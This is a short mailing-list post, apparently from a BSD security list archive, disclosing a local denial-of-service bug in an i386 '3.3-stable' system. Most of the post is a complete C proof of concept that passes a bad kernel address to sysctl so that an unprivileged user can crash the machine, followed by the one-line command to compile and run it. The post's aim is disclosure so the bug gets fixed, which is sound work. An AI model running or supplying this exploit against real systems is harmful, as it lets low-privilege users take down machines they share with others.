[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

i386 local DoS with un-priv user



Hello,

Tested with 3.3-stable.

A low priv user, results in a system crash.

#include <stdio.h>
#include <sys/param.h>
#include <sys/sysctl.h>

int main ()
{
unsigned int blah[2] = { CTL_KERN, 0 }, addr = -4096 + 1;

return (sysctl (blah, 2, (void *) addr, &blah[1], 0, 0));
}

Just:

$ cc problem.c -o problem && ./problem

I've not coded it, so don't give me credit.

Just fix it.

Thanks.

B.



Visit your host, monkey.org